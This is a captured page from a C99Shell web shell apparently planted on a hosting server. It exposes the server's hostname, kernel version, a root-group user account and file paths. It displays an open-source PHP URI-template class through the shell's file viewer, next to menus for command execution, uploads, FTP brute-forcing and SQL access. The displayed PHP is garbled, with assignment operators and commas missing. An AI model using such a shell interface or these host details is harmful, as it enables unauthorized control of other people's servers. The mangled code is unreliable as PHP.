!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/rize/uri-template/src/Rize/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UriTemplate.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Rize;

use 
Rize\UriTemplate\Parser;

/**
 * URI Template.
 */
class UriTemplate
{
    protected 
Parser $parser;
    protected array 
$parsed = [];

    public function 
__construct(protected string $base_uri '', protected array $params = [], ?Parser $parser null)
    {
        
$this->parser $parser ?: $this->createNodeParser();
    }

    
/**
     * Expands URI Template.
     *
     * @param mixed $params
     */
    
public function expand(string $uri$params = []): string
    
{
        
$params += $this->params;
        
$uri     $this->base_uri $uri;
        
$result  = [];

        
// quick check
        
if (!str_contains($uri'{')) {
            return 
$uri;
        }

        
$parser $this->parser;
        
$nodes  $parser->parse($uri);

        foreach (
$nodes as $node) {
            
$result[] = $node->expand($parser$params);
        }

        return 
implode(''$result);
    }

    
/**
     * Extracts variables from URI.
     *
     * @return null|array params or null if not match and $strict is true
     */
    
public function extract(string $templatestring $uribool $strict false): ?array
    {
        
$params = [];
        
$nodes  $this->parser->parse($template);

        
// PHP 8.1.0RC4-dev still throws deprecation warning for `strlen`.
        // $uri    = (string) $uri;

        
foreach ($nodes as $node) {
            
// if strict is given, and there's no remaining uri just return null
            
if ($strict && (string) $uri === '') {
                return 
null;
            }

            
// URI will be truncated from the start when a match is found
            
$match $node->match($this->parser$uri$params$strict);

            if (
$match === null) {
                return 
null;
            }

            [
$uri$params] = $match;
        }

        
// if there's remaining $uri, matching is failed
        
if ($strict && (string) $uri !== '') {
            return 
null;
        }

        return 
$params;
    }

    public function 
getParser(): Parser
    
{
        return 
$this->parser;
    }

    protected function 
createNodeParser(): Parser
    
{
        static 
$parser;

        if (
$parser) {
            return 
$parser;
        }

        return 
$parser = new Parser();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--